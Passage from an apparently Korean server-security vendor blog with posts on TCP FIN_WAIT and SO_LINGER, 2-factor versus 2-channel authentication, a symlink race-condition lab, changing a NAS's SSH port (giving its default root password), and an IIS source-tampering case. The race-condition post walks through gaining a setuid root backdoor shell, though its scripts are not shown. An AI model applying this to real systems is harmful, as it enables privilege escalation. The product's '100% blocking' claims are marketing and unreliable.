특히 이러한 경우가 네트워크 부하가 많은 서버에서 종종 발생하는데 세션의 확립과 종료가 대량으로 발생하는 경우가 대부분이다. 원인을 찾아 해결하면 좋겠으나 그 과정이 쉽지 않아 대부분 클라이언트 측에서 FIN_WAIT_1 상태에서 ACK를 기다리는 시간과(Timeout이 걸리면 강제로 닫음.) FIN_WAIT_2 상태에서 FIN을 기다리는 시간을 짧게 설정하여 서버로부터 정상적인 ACK와 FIN을 수신하지 못하면 강제로 소켓을 닫도록 하는 방법으로 문제를 해결하고 있다.


하지만 4 way handshake를 사용하는 한 대량의 빈번한 open과 close를 한다면 timeout의 조정만으로는 문제를 해결하지 못한다. 이때는 4 way가 아닌 3 way로의 변경을 고려해볼 필요가 있다. 4 way 종료에서 3 way 종료로 바꾸기 위해서는 close() 를 호출하는 클라이언트 측의 프로그램 소스를 변경하여야 한다. 이때 사용되는 옵션이 SO_LINGER 옵션이다. 하지만 여러 문제를 야기할 수도 있으므로 신중하게 결정해야 한다고...많은 개발자들이 이야기 하고 있다.


만약 이글을 읽는 이가 개발자라면 자세한 것은 개발자 포럼에서 SO_LINGER로 검색해봐야 할 것이다. (단, 리눅스만 이 옵션을 제공하는 것 같음..)

신고
이 댓글을 비밀 댓글로
  1. 저에겐 무슨 말인가 싶네요?ㅎㅎㅎㅎ
    • ^^ 컴공전공한 분이 아니면 다~그렇죠..
      저도 웹서핑하다 보면.. 그런 경우 많습니다~ ^^

2 채널인증과 2 팩터 인증의 차이점과 네트워크 기반 서버접근제어 2 팩터 인증의 취약점

Posted by taeho Tae-Ho
2014.03.15 11:45 서버보안

KT의 개인 정보 유출과 여러 신용 카드 사의 개인 정보 유출 등 끊임없이 발생하는 보안 사고는 기존의 보안 솔루션들이 보안 솔루션 답지 않게 보안 취약성을 제대로 제거해주지 못한다는 것을 의미한다.

특히 인터넷을 통한 서버로의 직접 침투는 많이 줄었지만 (사실 그리 줄지도 않았지만..발견되지 않거나 은폐될 뿐..) 정보가 저장되어 있는 서버에 접근 권한을 가진 내부 관리자 및 개발자 그리고 외주 인력에 의한 보안 사고는 오히려 더 늘고 있다. (신용카드 3사의 개인정보 대량 유출이 가장 대표적인 사례다.)


공공 기관과 기업의 전산실에서는 오래전부터 내부자의 서버 접근을 통제하기 위해 여러 방안들이 적용하고 있긴 하다. 하지만 그 내부 접근 통제의 개념과 적용 범위를 제대로 결정하지 못하고 있고 적용하고 있는 보호 대책들도 관리자 권한에서 우회나 변조가 가능하기도 하며 다수의 서버를 통합 관리하기가 쉽지 않기 때문에 보안 취약성 제거 효과를 보지는 못하고 있는 것이 현실이다.


이 포스트에서는 최근 내부 접근 권한을 가진 관리자나 개발자, 외부 엔지니어에 대한 접근 통제 및 감사 솔루션으로 각광 받기 시작한 2 Factor 인증 및 2 Channel 인증 기법에 대해 살펴보고자 한다.


2 Factor 인증과 2 Channel 인증의 차이



2 Factor 인증은 기존의 "지식기반 인증"인 ID/Password 인증에 다른 요소 즉 소유기반 인증 및 생체인증 요소를 추가한 인증 기법을 말한다.


2 Factor 인증기법을 인증 과정에 추가하면 ID/패스워드를 알고 접속하려는 사용자에게 OTP 인증 번호나 지문 등의 추가 인증을 요구함으로써 스니핑과 같은 ID/패스워드 유출에 의한 공격을 방어할 수 있다. 하지만 최근에는 APT 공격 등에 의해 단순한 2 Factor인증(이차 인증) 기법이 무력화 되는 경우가 발생하기도 한다.


특히 웹 서비스나 스마트폰 기반의 서비스는 이러한 단순한 이차인증(2 Factor 인증)만으로는 해킹을 방어하지 못하는 사례가 발생하기도 한다. 그 이유는 바로 메모리 해킹 때문이다. PC나 스마트폰에 설치된 악성코드가 사용자가 입력한 이차 인증 정보 혹은 인증 후 실 거래 발생 시 거래정보를 암호화하여 네트워크로 전송하기 직전에 거래 정보를 가로채 변조하는 고도의 프로그래밍 기술을 적용한 악성코드를 사용하기 때문이다.


그래서 등장한 개념이 바로 2 Channel 인증이다.



2 Channel 인증은 2 Factor 인증을 포함한다고 보는 것이 일반적이며 인증과 서비스를 수행하는 통신선로를 서비스 채널과 인증채널로 물리적으로 분리하는 것이 특징이다.


즉 서비스를 사용하는 PC/스마트폰의 통신 채널을 인증과 서비스에 모두 사용하는 것이 아니라 PC가 서비스 채널인 경우 ARS(전화) 혹은 스마트폰 앱 등을 통해 서비스를 사용하는 PC와는 물리적으로 다른 채널을 형성하여 2차 인증을 수행하는 것이다. 이렇게 서비스 채널과 인증 채널을 물리적으로 분리함으로써 해커에 의해 PC 혹은 스마트폰이 장악 되더라도 해커가 서비스에 접속을 할 수 없게 된다.


여기서 한걸음 더 나아간다면 금융거래나 구매 거래 시 관련 데이터를 2 채널 인증에 의해 확립된 2개의 채널로 분리하여 전송한 뒤 결제 시스템에서 조합하여 거래를 완성시키는 2 채널 서비스 구성도 검토해 볼 수 있겠다. 


SAC 솔루션의 2 Factor/Channel 인증 취약성


많은 보안 솔루션들 특히 서버 접근제어 솔루션(SAC)들이 2 팩터/2 채널 인증을 제공하고 있다. 하지만 네트워크 수준에서 2 Factor/Channel 인증을 수행할 경우 제대로 된 2 팩터/2 채널 인증을 수행할 수 없다.



위의 개념도에서 알 수 있듯 네트워크 수준에서 수행하는 서버 접근제어의 2차 인증은 사용자와 서버 접근 제어 장비까지의 구간만 2차 인증이 수행되고 실제 서버에 접근하는 접속 세션에서는 여전히 ID와 패스워드에 기반한 단순한 인증만이 수행된다.


게다가 비밀번호의 관리 편의성을 높이고 사용자가 서버의 계정에 대한 패스워드를 알지 못하게 하기 위해 서버접근제어 서버에 "복호화가 가능한" 형태로 모든 서버의 계정에 대한 비밀번호를 저장한다. 이는 "비밀번호는 복호화가 불가능한 형태로 암호화"해야 한다는 가장 기본적인 보안 규정을 어기는 중대한 보안 취약성이다. 개인정보보호법에는 사용자의 비밀번호는 복호화가 불가능한 단방향 암호화를 하도록 명시되어 있음을 유의해야 한다.


서버에 대한 2 factor 인증 및 2 channel 인증은 서버 운영체제의 자체 인증 과정에 추가하여 적용되어야만 우회 접속 및 여러 인증 취약성 공격 기법에서 자유로울 수 있다. 관리의 편의성 만을 생각한다면 모를까 제대로 된 서버 접근 통제를 하기 위해서는 필수적으로 운영체제에 추가적인 인증 모듈을 적용하여야 한다.


Unix/Linux의 경우 운영체제에서 PAM (plugable authentication module)이라는 2 factor/2 channel 인증을 적용할 수 있는 모듈을 제공하며 Windows의 경우도 GINA/CP라는 추가 인증을 적용할 수 있는 기능을 제공하고 있다. 그럼에도 불구하고 개발의 편의성, 관리의 편의성만을 쫓아 적용이 손쉬운 네트워크 기반의 2 factor/2 channel 인증기법을 적용하게 되면 관리 편의성은 증대될지 모르나 실질적인 보안 강화 효과는 그다지 기대하기 어렵다고 볼 수 있다.


또한 수 많은 서버와 네트워크 장비를 운용하며 패스워드 관리에 골치를 앓고 있는 기관과 기업의 어려움을 파고들어 제대로 된 보안 강화 솔루션이 아닌 보안 강화 효과도 별로 없는 솔루션을 공급하는 것은 상도덕에도 어긋난다고 할 수 있다.


사실 특정 보안 솔루션만으로 모든 보안 취약성을 커버할 수는 없는 것이 사실이다. 해킹은 지속적이고 지능적으로 변화하고 있으며 네트워크 기반의 보안 만으로는 더 이상 서버에 저장된 정보를 보호할 수 없다. 


개인정보를 비롯한 기관과 기업의 중요 데이터는 "서버"에 저장되어 있다. 서버의 보안을 강화하지 않고 길목인 네트워크에서 어떻게든 보안을 강화해보려는 구태의연한 보안은 이제 더 이상의 효과를 볼 수 없는 현실을 직시해야 한다. 아울러 외부로부터의 해킹이 아닌 내부 관리자/운영자/개발자들에 대한 통제를 빠르고 안정적인 "서비스 개발과 운영"을 핑계로 계속 미룰 경우 지금과 같은 해킹 대란은 계속 발생하고 보안 예산의 낭비는 계속될 수 밖에 없다.


신고
이 댓글을 비밀 댓글로

심볼릭링크 취약성 공격 : 레이스컨디션(race condition) 실습

Posted by taeho Tae-Ho
2014.01.16 09:29 서버보안

유닉스/리눅스 운영체제는 태어난지 수십년이 지난 지금(2014)도 그 자체로 취약성 덩어리라 해도 과언이 아니다. 다만 네트워크기반의 다른 보안솔루션들의 집중적인 보호(침입차단)를 받고 있고 자체적으로는 사용자인증(로그인)과 기본적인 사용자간의 권한분리(계정을 통한 분리)를 통해 최소한의 보안을 유지하고 있는 것이다. 하지만 말 그대로 "최소한"의 보안이다.


유닉스/리눅스 운영체제를 공부하다 보면 수도 없이 많은 보안 취약성을 발견하게 된다. 그 취약성은 개방성을 기반으로 개발된 운영체제이기 때문이기도 하지만 사실...별다른 보안개념을 적용하지 않고 개발된 운영체제이기 때문이기도 한다.


그중에서 오늘 소개할 것은 심볼릭링크 취약성과 쉘의 취약성이다. (심볼릭링크는 윈도의 단축아이콘과 유사하다.)


이따금씩 서버보안 S/W의 시연이나 BMT를 진행하다보면 일부 취약성 공격의 방어에 대한 시연을 요청하는 경우가 있다. 대부분 웹쉘 방어 혹은 웹 소스 위변조 차단에 대한 시연을 진행하는데 이번엔 심볼릭링크 취약성까지 시연해야 하는 경우가 생겼다. 사실... 버퍼오버플로나 포맷스트링 등은 이론적으로만 이해하고 있고 실습(?)을 해보지는 않았다. 사실 해당 취약성을 내포한 애플리케이션을 코딩(C로)하고 테스트하는 과정은 썩 단순하지는 않다. 이따금씩 하는 코딩 실력으론 어려운게 사실이다.


하지만 레이스컨디션은 너무도 쉽고 단순한 쉘스크립트로도 실습이 가능하다. 아주 오래전 한참 코딩에 빠져있을 때 원조 모의해킹 실습사이트(이름은 생각나지 않음)에 들어가 모의해킹을 통해 레벨을 올라가는 도전을 해본적이 있다. 당시 15레벨인가가 명예의전당이었던것 같은데 당시에 8레벨인가가 레이스컨디션 공격을 해야하는 문제였었다. 난 8레벨 획득을 끝으로 더이상 도전하지 않았다. 9레벨에 가려면 인라인어셈블리까지 해야했기 때문이었다. (어셈블리는 인간의 언어가 아니라고 난 생각한다. ^^)


이제 본론으로 넘어가자.


1. 심볼릭링크 취약성을 가진 쉘스크립트


심볼릭링크 취약성은 다양한 프로그램에서 갖고 있다. 특히 임시파일을 생성하고 생성한 임시파일에 쓰기를 하거나 실행을 하는 경우 발생할 수 있다. 특히 root계정으로 실행되면서 임시파일을 생성하고 그 임시파일이 다른 작업을 수행하는 경우 심각한 2차 취약성을 만들거나 시스템에 장애 혹은 정보유출 등으로 이어질 수 있다.



위의 vulrace.sh 는 무한루프를 돌면서 /tmp 디렉토리에 1.sh라는 파일을 만들고 메시지 한줄을 화면에 출력하는 echo문을 저장한 뒤 그 생성한 파일(1.sh)에 실행퍼미션을 부여하고 그 파일을 실행한다.(설명이 복잡한가?) 그리고 실행이 종료되면 임시파일(1.sh)을 삭제한다.


이 과정에서 취약성은 바로 /tmp/1.sh를 삭제하고 다음번 루프에서 echo명령으로 임시파일을 생성하고 실행하는 사이에서 발생한다. 임시파일인 1.sh를 생성하기 전에 누군가가 root 권한으로 실행되기를 바라는 파일로 1.sh라는 심볼릭링크를 먼저 생성하면 이 프로그램(vulrace.sh)은 1.sh라는 정상 임시파일을 만들지 못하고 심볼릭링크인 1.sh에 echo문을 실행하게 된다. 즉 1.sh가 가리키고 있는 엉뚱한 파일에 echo문이 추가되고 실행되는 것이다. 이 엉뚱한 파일이 무엇이냐에 따라 공격의 내용이 달라지게 된다. 그 엉뚱한 파일은 root 권한으로 실행되게 된다. vulrace.sh가 root 권한으로 실행되었으므로...


위의 예제에서는 해당 취약성 공격 성공률을 높이기 위해 sleep 1을 넣어 공격이 쉽게 성공하도록 하였다.


2. 엉뚱한 파일 (쉘카피백도어)


이제  1.sh로  심볼릭링크가  걸릴 스크립트, 즉 공격자가 root권한으로 실행하고자 하는 "엉뚱한 파일"을 만들 차례다. 이 엉뚱한  파일은 쉘카피백도어를 만드는 스크립트를 예를 든다. 따로 설명은 안하겠다. 악용될 경우 심각한 문제를 유발할 수 있기 때문이며... 이 예제를 악용하여 발생하는 문제는 해당 사용자에게 있음을 분명히 밝혀둔다. 하지만 이 정도의 예제는 인터넷을 통해 얼마든지 접할 수 있고 매우 고전적인 방법이지만 최신 운영체제에서도 적용 가능한 기법이다.


이 스크립트가 root 계정에 의해 실행될 경우 /tmp/ 디렉토리에 backdoor라는 루트쉘이 생성된다. 이후 일반계정에서 이 생성된 /tmp/backdoor를 실행할 경우 root 권한을 획득하게 된다.


vulrace.sh가 실행하는 1.sh로 attack.sh 를 심볼릭링크를 걸면된다. (방법은 뒤에서~~)


3.  취약한 스크립트 실행과 공격 성공


심볼릭링크 취약성을 가진 vulrace.sh를 root 계정에서 실행하면 vulrace.sh가 생성하는 /tmp/1.sh에 의해 심볼릭링크 취약성이 있다는 메시지가 출력된다. 이 메시지를 출력하는 것은 정상적인 /tmp/1.sh 이다.


중간의 Attack Success...!! 메시지는 엉뚱한 파일(attack.sh)를 가리키는 /tmp/1.sh 라는 심볼릭링크가 실행되었을 때 attack.sh가 실행되어 출력되는 메시지다. 해커가 /tmp 디렉토리에 1.sh라는 심볼릭링크를 생성하고 vulrace.sh가 해당 심볼릭링크를 실행한 것이다.


4. 공격과 결과


공격은 아래 화면의 ln 명령에 의해 이루어진다. 즉 해커가 root 권한으로 실행하고자 하는 내용을 담은 스크립트를 /tmp/1.sh 로 심볼릭링크를 생성하는 것이다. 


그리고 공격이 성공하면 attack.sh가 하고자 했던 /tmp/backdoor 가 생성된다.

root 소유자이고 소유자의 setuid가 생성되어 있다.

일반계정인 taeho에서 /tmp/backdoor를 실행하면 root 권한을 얻을 수 있다.


p.s 만약 tmp 디렉토리에서 chown  명령이 에러가 발생한다면 tmp 디렉토리에 sticky bit 가 설정되어 있기 때문이다. 샘플 소스의 디렉토리를 /tmp가 아닌 다른 경로로 설정한 뒤 테스트하면 된다.


5. 레이스컨디션 공격 방어 방법


이 심볼릭링크가 갖는 취약성 공격을 방어하기 위해서는 서버 내에서 실행되는 모든 스크립트와 실행파일에 대해 하나하나 모두 검증해야 한다. 


1. 임시파일을 생성하고 실행하거나 수정하는 어떤 프로그램들이나 쉘스크립트가 있는가?

2. 만약 있다면...(100% 존재하며 모두 파악하는 것은 거의 불가능함) 임시파일을 생성하기 전에 생성할 임시파일이 이미 존재하는지 확인하고 존재한다면 프로그램을 중단하도록 소스코드 수정 --> 사실상 불가능함

3. 심볼릭링크를 사용하지 못하도록 함. (역시 사실상 불가능함)


그렇다면 방법이 없는가?


방법은 있다. 

바로 RedCastle SecureOS를 설치하면 된다. RedCastle SecureOS는 Race Condition 공격을 100% 차단 할 수 있다. RedCastle SecureOS는 운영체제의 커널수준에서 심볼릭링크의 생성을 모니터링하여 root계정에서 실행된 명령어 혹은 대몬프로세스가 일반소유자의 파일로 연결되는 심볼릭링크를 실행하는 것을 차단해준다. 

이러한 보호는 SecureOS의 핵심보듈인 커널수준에서 구현된 참조모니터에 의해 구현되기 때문에 예외없이 모든 심볼릭링크 취약성 공격에 대해 방어가 가능하다.



신고
이 댓글을 비밀 댓글로

리눅스의 ssh 접속 포트 변경하기(My Book Live ssh 활성화)

Posted by taeho Tae-Ho
2013.12.06 17:26 서버보안

미국에서 헐값에 뿌려진 웨스턴디지털의 NAS인 My Book Live.. 웹 인터페이스가 없다 뿐이지 성능은 꽤나 잘나온다. FTP 속도도 MBL을 집의 IPTIME 공유기에 연결해두고 FTP를 이용해 외부에서 다운로드와 업로드를 해봤는데.. 오..집에 들어오는 SK Broadband의 광랜 속도인 100Mbps가 거의 Full~로 나온다.

FTP 속도가 10MB가 거의 나오니 bps로 환산하면 100 Mbps다. 만족할만한 성능을 보인다. 그리고 그때 MBL의 CPU 사용율은 top 명령으로 확인해보면 40%~50% 정도 사용한다. 두세명이 붙으면 개인당 속도는 접속자로 나눈 만큼 제대로 보여준다.


하지만 외부 USB나 SD카드 등을 연결할 수 있는 포트가 전혀 지원되지 않기 때문에 오로지 NAS로 사용할 수 있을 뿐이고 내장된 HDD 이외의 저장소를 사용할 수 없는 단점이 있다. 당연히 운영체제나 애플리케이션의 문제로 공장초기화를 한다던가 부팅이 안된다던가 할 때는 HDD를 뜯어내어 다른 컴퓨터에 연결한 뒤 복구 이미지를 이용해 초기화를 해야하는 문제가 있다. 만약 문제가 생긴다면 얼마전에 포스팅한 "벽돌이 된 My Book Live를 VMWare를 이용해 공장초기화하는 방법" 포스트를 참고하기 바란다.


MBL은 SSH를 지원해서 리눅스를 다룰줄 안다면 무한한 활용을 할 수 있다. 토렌트머신으로도 딱이고 Apache2와 PHP5가 이미 설치되어 있기에 Mysql을 설치하면 다른 게시판도 사용할 수 있다.


그러자면 일단 ssh를 활성화해야하고 보안을 위해 root 계정의 비밀번호를 변경해야 하며 ssh의 기본포트인 TCP/22를 다른 포트로 변경해주어야 한다.


리눅스의 초보자를 위해 그 과정을 설명하고자 한다. 다른 일반 리눅스와 리눅스를 채용한 다른 NAS도 동일하다고 생각된다.


먼저 My Book Live의 ssh 서비스 활성화를 해야한다. 아래 화면처럼 MBL의 관리 웹페이지 주소인 /UI 다음에 /ssh를 입력하고 엔터~~를 치면 ssh 설정 화면이 보인다. 계정은 root이고 초기 비밀번호는 welc0me다. 어디서 많이 보던 비밀번호다. 



다음은 SecureCRT나 Putty 같은 ssh 접속이 가능한 프로그램을 설치해야 한다. SecureCRT의 경우 설치 후 아래 화면처럼 접속화면을 실행하고 설정한다. SSH2로 설정하고 Hostname에는 MBL의 IP주소를 입력한다. 아래 화면에선 iptime에서 제공하는 DDNS를 설정했기 때문에 IP주소가 아닌 DNS주소가 입력되었다.

포트는 아직 변경하기 전이므로 기본포트인 22번을 입력한다.



Connect 버튼을 누르면 아래 화면처럼 ID와 Password를 입력하는 창이 실행된다.

Username에는 root, password에는 MBL의 root 기본패스워드인 welc0me를 입력한다. 

아래 화면이 뜨기전에 ssh 키관련 창이 먼저 보이는 경우가 있는데... Accept one 혹은 옆의 ...always..를 눌러도 관계 없다.



비밀번호가 맞으면 아래화면처럼 접속이 된다.


먼저 passwd 명령을 입력하여 root의 비밀번호를 변경한다. 패스워드는 최소 8자 이상...숫자와 특수문자를 반드시 포함하여 생성하는 습관을 들이자...!!



root의 비밀번호를 설정하였다면 다음은 ssh의 기본포트를 변경할 차례다.

아래 화면처럼 /etc/ssh 디렉토리로 이동하자. (리눅스나 유닉스에서는 폴더라는 말을 쓰지 않는다. 디렉토리라고 불러주자..!! 정확한 용어의 사용은 오류를 예방하는 기본이다..!!)

ls 명령을 실행하면 sshd_config 파일이 보인다. 이 파일의 내용을 수정하여야 한다.



자..아래 명령처럼 vi 명령을 sshd_config 라는 파일을 지정하여 실행한다.



vi 화면이 실행되면 다른 키를 누르지말고.... 커서키를 이용하여 아래처럼 Port 22 의 앞의 2에 커서를 둔다.

다른 키를 누르면 커서가 엉뚱한 곳으로 이동하거나 파일의 내용이 수정된다. vi 사용법을 모른다면 vi가 실행된 뒤 다른 키를 누르지 말고 곧바로 커서키를 이용하여 아래 처럼 커서를 이동시킨다.

(만약 커서키가 제대로 동작하지 않는다면 키보드에서 j , k , l , ;  네개의 키를 눌러보라. 이 네개의 키가 좌, 우, 상, 하 로 커서를 움직이는 키다. 커서키는 안돼도 이 네개의 키는 될 것이다.)



위 화면처럼 앞의 2에 커서를 둔 뒤 키보드에서 c 키와 w 키를 차례대로 눌러준다.(change word 명령) 그러면 명령모드에서 입력모드로 바뀌면서 아래 처럼 커서가 위치한 곳의 하나의 워드(word)인 22가 지워지고 새로운 워드(word)의 입력을 기다린다. 



아래 처럼 9275 를 입력한다. tcp/9275 번을 22번 대신 사용하겠다는 의미다.

다른 번호를 맘내키는 대로 입력해도 된다. 단 다른 프로그램이 사용하는 포트를 지정하면 안된다. 예를 들면 21번이나 110, 25, 80 등은 안된다. 가급적이면 1024보다 큰 숫자를 입력하라



숫자를 입력했다면... ESC 키를 한번 살포시 눌러준다. 입력모드에서 명령모드로 나가게 된다. (화면에 보이진 않지만.... 그래서 vi를 어려워하는 초보자가 많다.)



ESC키를 눌러서 명령모드로 왔다면 이제 키보드에서 : 를 눌러준다. 그리고 w와 q를 눌러준다. (w : write 저장,  q : quit 나가기) 그리고 엔터키를 친다~~!!


아래 화면처럼 sshd_config 파일이 저장되었다고 나오고 vi가 종료되고 다시 # 프롬프트로 돌아간다.



이제 포트를 변경했으므로 ssh 서비스를 재구동해야 한다. 몇가지 방법이 있지만 여기에선 가장 원초적인 방법을 설명한다. 아래 화면처럼 cd 명령으로 /etc/init.d 디렉토리로이동한다. 



그리고 ./ssh restart 명령을 실행하여 sshd 대몬서비스를 재구동 한다.

그리고 netstat 명령으로 변경한 TCP포트로 sshd 대몬이 잘 구동되어 있는지 확인한다.

당연히 22번 포트를 변경하기 전에 netstat 명령으로 변경할 포트를 다른 프로세스가 사용하는지 확인은 필수다.



이제 SecureCRT나 putty에서 변경한 포트로 ssh 접속이 잘 되는지 확인해보자..

단, 이전에 로그인한 창은 그대로 두고 새로운 창으로 접속테스트를 해보자. 설정이 잘못되었거나 예상치 못한 문제가 생기면... 원복할 수 있도록 이전에 로그인한 ssh 창은 그대로 두자.



잘 접속이 된다면 성공이다.


만약 MBL을 리부팅해도 ssh 포트는 변경된 포트로 잘 동작할 것이다.


신고
이 댓글을 비밀 댓글로

IIS웹서버 해킹을 통한 악성코드 삽입 공격 방어 사례 (소스위변조공격)

Posted by taeho Tae-Ho
2013.11.16 23:17 서버보안

간혹 홈페이지의 소스파일 중 하나인 Javascript 파일이 변조되는 해킹공격을 당해 긴급하게 서버보안SW적용을 요청하는 기업들이 있다. 대부분 보안에 신경을 쓰지 않은 채 웹서버를 구축하거나 홈페이지를 개발하는 경우가 대부분이지만 간혹 이름만 대면 다 아는 그런 기업도 종종 있는 편이다. 


얼마 전 긴급하게 요청이 온 기업도 이름만 대면 다 아는 기업이었다. 공교롭게도 방화벽, IPS(웹방화벽), 웹소스변조방지 등 여러 제품을 도입하여 프로젝트를 진행하는 도중에 지속적으로 소스파일이 변조하여 자바스크립트를 삽입하는 공격이 발생하고 있었지만 도입된 솔루션들이 무용지물인 상황인 듯 했다. 급하게 엔지니어를 보내 RedCastle을 설치하고 홈페이지 소스파일들이 위치한 경로에 다음과 같은 정책을 적용했다.


정책은 아주 간단하다. 소스파일 경로 아래의 모든 파일에 대해 아래 화면처럼 IIS 웹서버 (w3wp.exe)가 읽기만 가능하고 수정을 하지 못하도록 하는 정책이다. (물론 운영체제를 보호하는 baseline policy는 적용하였음)



정책을 적용하고 얼마 지나지 않아 javascript 파일에 대해 변조 공격이 들어왔고 정책에 의해 차단되었다.

변조가 시도되는 파일은 감사로그에 정확하게 기록되었다.



해커는 몇차례 반복하여 Javascript 파일를 변조하려 시도하였고 그 시도는 번번히 RedCastle에 의해 차단되었다. 


인터넷을 통해 온라인 주문을 실시간으로 처리하거나 대 고객 서비스 업무를 수행하는 웹서버는 언제는 위와같은 홈페이지 소스 위변조 공격을 당할 수 있다. 하지만 공격당했다는 사실 조차 모르는 경우가 비일비재하다.  


왜냐하면 해커가 변조한 그 웹서버가 "공격 대상"이 아니라 그 웹서버에 웹브라우저를 통해 접속한 일반 사용자의 PC가 공격대상이기 때문에 서버에 쉽게 알아챌만큼 큰 피해를 단시간내에 주지는 않기 때문이다. 즉 일반 사용자의 PC에 악성코드를 다룬로드 받도록 java script 파일에 악성코드를 심어 놓는 것이 해커가 웹서버의 소스를 변조하는 목적이기 때문인 경우가 많다. 만약 더 이상 서버의 활용도가 없다면 그땐 큰 피해를 주고 유유히 빠져나갈 가능성도 배제할 수는 없다.


이렇게 외부에서 웹소스나 웹서버의 취약점을 공격하여 소스파일을 직접 변조하려는 시도는 오히려 다른 공격보다 위험도 측면에서 나은 경우일 수 있다. 만약 실제로 소스파일이 변경되지 않았는데 웹브라우저로 접속해보았을 때 변조된 Javascript가 소스보기로 보면 소스가 변경되어 보인다면 상황은 더욱 심각할 수 있다.


이런 경우는 정말 심각한 경우다. 이미 웹서버가 있는 네트워크에 해커가 침투하여 거점을 마련하고 스니핑과 스푸핑 공격에 성공한 경우이거나 SQL인젝션 등을 통해 다른 서버나 PC에 이미 침투하였을 가능성이 높기 때문이다. 만약 그렇다면 피해는 서버 한두대에 그치지 않을지도 모르는 심각한 상황이라고 봐야한다.


IIS웹서버의 소스에 악성코드가 삽입되어 있다면 최대한 빨리 취약성을 제거해야 한다. 하지만 취약성 하나를 제거한다고해서 소스위변조가 다시는 일어나지 않는다는 보장은 없다. 취약성이라는 것은 언제든 새로운 것이 발견되거나 새로 추가한 페이지에 존재할 수 있기 때문이다. 


그렇기 때문에 가장 최선의 방법은 공격패턴이나 취약성 공격에 대응하는 패턴기반의 웹방화벽이나 IPS가 아닌 정책기반의 서버보안SW인 RedCastle을 설치하여 소스 파일의 위변조를 커널 수준에서 통제하는 것이 최선의 해결책이다. 


결국 그 고객사는 경쟁사 제품을 걷어내고 RedCastle을 도입하였다.


신고
이 댓글을 비밀 댓글로